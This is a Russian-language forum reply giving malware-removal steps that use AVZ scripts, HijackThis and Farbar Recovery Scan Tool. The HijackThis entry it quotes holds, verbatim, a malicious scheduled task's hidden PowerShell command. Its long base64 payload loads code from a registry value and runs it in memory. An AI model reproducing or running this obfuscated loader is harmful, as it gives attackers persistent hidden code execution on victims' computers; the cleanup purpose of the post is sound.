Закройте все программы, временно выгрузите антивирус, файрволл и прочее защитное ПО (http://safezone.cc/forum/showthread.php?t=18577).
Выполните скрипт в АВЗ (http://forum.oszone.net/post-1430637-4.html) (Файл - Выполнить скрипт):
begin
ExecuteFile('schtasks.exe', '/delete /TN "e65780eb-49e8-571a-2730d5fdb9cbc9ac" /F', 0, 15000, true);
RebootWindows(false);
end.
Компьютер перезагрузится. После перезагрузки, выполните такой скрипт:
begin
CreateQurantineArchive(GetAVZDirectory+'quarantine.zip');
end.
Файл quarantine.zip из папки с распакованной утилитой AVZ отправьте с помощью этой формы (http://www.oszone.net/virusnet/) или (если размер архива превышает 8 MB) на этот почтовый ящик: quarantine <at> safezone.cc (замените <at> на @) с указанием ссылки на тему в теме (заголовке) сообщения и с указанием пароля: virus в теле письма.
"Пофиксите" в HijackThis (http://forum.oszone.net/post-1430293-2.html) (некоторые строки могут отсутствовать):
O22 - Task: e65780eb-49e8-571a-2730d5fdb9cbc9ac - C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -NonInteractive -WindowStyle Hidden -EncodedCommand JABTAEUAZgA4AGMAYQBXAGoAIAA9ACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABc AFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABTAGgAZQBsAGwAIgA7ACQAbABaADcAVgBnAEwA egB0AEgAIAA9ACAAIgB7AEYAMAA1AEMANQA0AEEANwAtADQAQQAzADMALQA1AEYANQA0AC0AQQAzADQAMABDAEQAQQA4AEIARgA1 ADAAQgAxADMANQB9ACIAOwBmAHUAbgBjAHQAaQBvAG4AIABvAGcAYgBlAGgASgBGAHIAdgBpAHsAUABhAHIAYQBtACgAWwBPAHUA dABwAHUAdABUAHkAcABlACgAWwBUAHkAcABlAF0AKQBdAFsAUABhAHIAYQBtAGUAdABlAHIAKAAgAFAAbwBzAGkAdABpAG8AbgAg AD0AIAAwACkAXQBbAFQAeQBwAGUAWwBdAF0AJABqAGIAdgBJADYAawBBAFEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAA VAB5AHAAZQBbAF0AKAAwACkAKQAsAFsAUABhAHIAYQBtAGUAdABlAHIAKAAgAFAAbwBzAGkAdABpAG8AbgAgAD0AIAAxACAAKQBd AFsAVAB5AHAAZQBdACQAVABuAGwAcABxAEYAIAA9ACAAWwBWAG8AaQBkAF0AKQAkAFMARABhAFIAZgA0ACAAPQAgAFsAQQBwAHAA RABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgA7ACQAZwBWADIAYwBqADYAdgBEACAAPQAgAE4AZQB3 AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkATgBhAG0A ZQAoACcAUgBlAGYAbABlAGMAdABlAGQARABlAGwAZQBnAGEAdABlACcAKQA7ACQAawBvAFEAUABNAGoANQAgAD0AIAAkAFMARABh AFIAZgA0AC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBBAHMAcwBlAG0AYgBsAHkAKAAkAGcAVgAyAGMAagA2AHYARAAsACAA WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBFAG0AaQB0AC4AQQBzAHMAZQBtAGIAbAB5AEIAdQBpAGwAZABl AHIAQQBjAGMAZQBzAHMAXQA6ADoAUgB1AG4AKQA7ACQAbQBRAFEAWQBmAFcAIAA9ACAAJABrAG8AUQBQAE0AagA1AC4ARABlAGYA aQBuAGUARAB5AG4AYQBtAGkAYwBNAG8AZAB1AGwAZQAoACcASQBuAE0AZQBtAG8AcgB5AE0AbwBkAHUAbABlACcALAAgACQAZgBh AGwAcwBlACkAOwAkAE8AUwBlAHAAbQAzAFUAIAA9ACAAJABtAFEAUQBZAGYAVwAuAEQAZQBmAGkAbgBlAFQAeQBwAGUAKAAnAE0A eQBEAGUAbABlAGcAYQB0AGUAVAB5AHAAZQAnACwAIAAnAEMAbABhAHMAcwAsACAAUAB1AGIAbABpAGMALAAgAFMAZQBhAGwAZQBk ACwAIABBAG4AcwBpAEMAbABhAHMAcwAsACAAQQB1AHQAbwBDAGwAYQBzAHMAJwAsACAAWwBTAHkAcwB0AGUAbQAuAE0AdQBsAHQA aQBjAGEAcwB0AEQAZQBsAGUAZwBhAHQAZQBdACkAOwAkAEcAZQB0AE4ATQBEADAAVwAgAD0AIAAkAE8AUwBlAHAAbQAzAFUALgBE AGUAZgBpAG4AZQBDAG8AbgBzAHQAcgB1AGMAdABvAHIAKAAnAFIAVABTAHAAZQBjAGkAYQBsAE4AYQBtAGUALAAgAEgAaQBkAGUA QgB5AFMAaQBnACwAIABQAHUAYgBsAGkAYwAnACwAIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEMAYQBs AGwAaQBuAGcAQwBvAG4AdgBlAG4AdABpAG8AbgBzAF0AOgA6AFMAdABhAG4AZABhAHIAZAAsACAAJABqAGIAdgBJADYAawBBAFEA KQA7ACQARwBlAHQATgBNAEQAMABXAC4AUwBlAHQASQBtAHAAbABlAG0AZQBuAHQAYQB0AGkAbwBuAEYAbABhAGcAcwAoACcAUgB1 AG4AdABpAG0AZQAsACAATQBhAG4AYQBnAGUAZAAnACkAOwAkAEsAQgBCAFAAVQBVAFAAIAA9ACAAJABPAFMAZQBwAG0AMwBVAC4A RABlAGYAaQBuAGUATQBlAHQAaABvAGQAKAAnAEkAbgB2AG8AawBlACcALAAgACcAUAB1AGIAbABpAGMALAAgAEgAaQBkAGUAQgB5 AFMAaQBnACwAIABOAGUAdwBTAGwAbwB0ACwAIABWAGkAcgB0AHUAYQBsACcALAAgACQAVABuAGwAcABxAEYALAAgACQAagBiAHYA SQA2AGsAQQBRACkAOwAkAEsAQgBCAFAAVQBVAFAALgBTAGUAdABJAG0AcABsAGUAbQBlAG4AdABhAHQAaQBvAG4ARgBsAGEAZwBz ACgAJwBSAHUAbgB0AGkAbQBlACwAIABNAGEAbgBhAGcAZQBkACcAKQA7AFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABPAFMA ZQBwAG0AMwBVAC4AQwByAGUAYQB0AGUAVAB5AHAAZQAoACkAOwB9AGYAdQBuAGMAdABpAG8AbgAgAEUANgA2AGkAYQBQAEcANQAo ACQAbQBzAEwAUABBAEIALAAgACQAcgA5AGQAcgA4ADgAKQAgAHsAJAB5AGMAUABVAHgAIAAgAD0AIAAkAG0AcwBMAFAAQQBCAFsA JAByADkAZAByADgAOAArADAAXQAgACoAIAAxADYANwA3ADcAMgAxADYAOwAkAHkAYwBQAFUAeAAgACsAPQAgACQAbQBzAEwAUABB AEIAWwAkAHIAOQBkAHIAOAA4ACsAMQBdACAAKgAgADYANQA1ADMANgA7ACQAeQBjAFAAVQB4ACAAKwA9ACAAJABtAHMATABQAEEA QgBbACQAcgA5AGQAcgA4ADgAKwAyAF0AIAAqACAAMgA1ADYAOwAkAHkAYwBQAFUAeAAgACsAPQAgACQAbQBzAEwAUABBAEIAWwAk AHIAOQBkAHIAOAA4ACsAMwBdACAAKgAgADEAOwByAGUAdAB1AHIAbgAgACQAeQBjAFAAVQB4ADsAfQAkAHcARgBOAGMASgBwAEcA WAAgAD0AIABAACIACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBs AGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8A YwBlAHMAcwAoACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBs AGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgA SQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBs AEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkA bQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4 AHQAZQByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHAA cgBvAGMAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAYQBkAGQAcgBlAHMAcwAsACAAYgB5AHQAZQBbAF0AIABiAHUAZgBmAGUAcgAs ACAAdQBpAG4AdAAgAHMAaQB6AGUALAAgAHUAaQBuAHQAIAB3AHIAaQB0AHQAZQBuACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgA IgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIAB1 AGkAbgB0ACAAUwBlAHQARQByAHIAbwByAE0AbwBkAGUAKAB1AGkAbgB0ACAAdQBNAG8AZABlACkAOwAKACIAQAAKACQAWABmADcA aQBJADIAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJAB3AEYATgBj AEoAcABHAFgAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUA bgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAZgB1AG4AYwB0AGkAbwBuACAATwBhAEkAOQBaAEcAYQBpAGcANQAo ACQAdwBGAE4AYwBKAHAARwBYACwAIAAkAGQAQQBhAHUAMQAsACAAJABNADUAaABEADEAcgBZACkAIAB7ACQAcgA5AFAAUwBIACAA PQAgACQAWABmADcAaQBJADIAOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkAOwAkAGgATwBWAEkAUABI ACAAPQAgACQAWABmADcAaQBJADIAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAdwBGAE4AYwBKAHAARwBYAC4A TABlAG4AZwB0AGgALAAwAHgAMAAwADAAMAAzADAAMAAwACwAMAB4ADQAMAApADsAJABLAHAAZgBhAEIAYwBnAHQAUwAgAD0AIAAk AFgAZgA3AGkASQAyADoAOgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAkAE0ANQBoAEQAMQByAFkALgBMAGUAbgBnAHQA aAAsADAAeAAwADAAMAAwADMAMAAwADAALAAwAHgANAAwACkAOwAkAFgAZgA3AGkASQAyADoAOgBXAHIAaQB0AGUAUAByAG8AYwBl AHMAcwBNAGUAbQBvAHIAeQAoACQAcgA5AFAAUwBIACwAIAAkAGgATwBWAEkAUABIACwAIAAkAHcARgBOAGMASgBwAEcAWAAsACAA JAB3AEYATgBjAEoAcABHAFgALgBMAGUAbgBnAHQAaAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7ACQAWABmADcAaQBJ ADIAOgA6AFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgB5ACgAJAByADkAUABTAEgALAAgACQASwBwAGYAYQBCAGMA ZwB0AFMALAAgACQATQA1AGgARAAxAHIAWQAsACAAJABNADUAaABEADEAcgBZAC4ATABlAG4AZwB0AGgALAAgADAAKQAgAHwAIABP AHUAdAAtAE4AdQBsAGwAOwAkAE0ATgBaAGgAaAB2ACAAPQAgAFsASQBuAHQAUAB0AHIAXQAoACQAaABPAFYASQBQAEgALgBUAG8A SQBuAHQANgA0ACgAKQArACQAZABBAGEAdQAxACkAOwAkAEoAagBtAE8AVgAgAD0AIABvAGcAYgBlAGgASgBGAHIAdgBpACAAQAAo AFsASQBuAHQAUAB0AHIAXQAsACAAWwBJAG4AdABQAHQAcgBdACkAIAAoAFsAVgBvAGkAZABdACkAOwAkAEQARgBBAGgAeQBNACAA PQAgAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBz AGgAYQBsAF0AOgA6AEcAZQB0AEQAZQBsAGUAZwBhAHQAZQBGAG8AcgBGAHUAbgBjAHQAaQBvAG4AUABvAGkAbgB0AGUAcgAoACQA TQBOAFoAaABoAHYALAAgACQASgBqAG0ATwBWACkAOwAkAFgAZgA3AGkASQAyADoAOgBTAGUAdABFAHIAcgBvAHIATQBvAGQAZQAo ADAAeAA4ADAAMAA2ACkAIAB8ACAATwB1AHQALQBOAHUAbABsADsAJABEAEYAQQBoAHkATQAuAEkAbgB2AG8AawBlACgAJABLAHAA ZgBhAEIAYwBnAHQAUwAsACAAJABoAE8AVgBJAFAASAApADsAfQBmAHUAbgBjAHQAaQBvAG4AIABpAFAAcABLAFIAbgA4AFkAUwAo ACQAdwBpAEkAdgBkAFQAawA5AHEAeAAsACAAJABYAEEAMQBwAGEAKQAgAHsAJABJAGEAaABUAHIAIAA9ACAARQA2ADYAaQBhAFAA RwA1ACAAJAB3AGkASQB2AGQAVABrADkAcQB4ACAAMQA7ACQAbQBpADAATABTAHQAMQBBACAAPQAgADUAOwB3AGgAaQBsAGUAIAAo ACQAbQBpADAATABTAHQAMQBBACsAOAAgAC0AbAB0ACAAJABJAGEAaABUAHIAKQAgAHsAJABRAGgAZQBSAEIANgBqADYAIAA9ACAA JAB3AGkASQB2AGQAVABrADkAcQB4AFsAJABtAGkAMABMAFMAdAAxAEEAXQA7ACQAegAyAGkAMgBDAEIAdgBUAFoARwAgAD0AIABF ADYANgBpAGEAUABHADUAIAAkAHcAaQBJAHYAZABUAGsAOQBxAHgAIAAoACQAbQBpADAATABTAHQAMQBBACsAMQApADsAJABVAEEA YQBJAGoAbwAxAFMAcwBhACAAPQAgAEUANgA2AGkAYQBQAEcANQAgACQAdwBpAEkAdgBkAFQAawA5AHEAeAAgACgAJABtAGkAMABM AFMAdAAxAEEAKwA1ACkAOwAkAG0AaQAwAEwAUwB0ADEAQQAgACsAPQAgADkAOwBpAGYAIAAoACQAUQBoAGUAUgBCADYAagA2ACAA LQBlAHEAIAAkAFgAQQAxAHAAYQApACAAewBPAGEASQA5AFoARwBhAGkAZwA1ACAAJAB3AGkASQB2AGQAVABrADkAcQB4AFsAJABt AGkAMABMAFMAdAAxAEEALgAuACgAJABtAGkAMABMAFMAdAAxAEEAKwAkAHoAMgBpADIAQwBCAHYAVABaAEcAKQBdACAAJABVAEEA YQBJAGoAbwAxAFMAcwBhACAAJAB3AGkASQB2AGQAVABrADkAcQB4ADsAYgByAGUAYQBrADsAfQAgAGUAbABzAGUAIAB7ACQAbQBp ADAATABTAHQAMQBBACAAKwA9ACAAJAB6ADIAaQAyAEMAQgB2AFQAWgBHADsAfQB9AH0AJABuAGEATwA1AGYAbgAgAD0AIAAoAEcA ZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiACQAUwBFAGYAOABjAGEAVwBqACIAIAAtAE4AYQBt AGUAIAAiACQAbABaADcAVgBnAEwAegB0AEgAIgApAC4AJABsAFoANwBWAGcATAB6AHQASAA7ACQAdwBpAEkAdgBkAFQAawA5AHEA eAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBn ACgAJABuAGEATwA1AGYAbgApADsAJAB3AGkASQB2AGQAVABrADkAcQB4AFsAMABdACAAPQAgADAAOwBpAGYAIAAoAFsASQBuAHQA UAB0AHIAXQA6ADoAUwBpAHoAZQAgAC0AZQBxACAAOAApACAAewBpAFAAcABLAFIAbgA4AFkAUwAgACQAdwBpAEkAdgBkAFQAawA5 AHEAeAAgADIAOwB9ACAAZQBsAHMAZQAgAHsAaQBQAHAASwBSAG4AOABZAFMAIAAkAHcAaQBJAHYAZABUAGsAOQBxAHgAIAAxADsA fQAKAA==
Скачайте Farbar Recovery Scan Tool (http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/) и сохраните на Рабочем столе.
Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Отметьте галочкой также "Shortcut.txt".
Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt, Shortcut.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.
Подробнее читайте в этом руководстве ('https://safezone.cc/threads/17759/').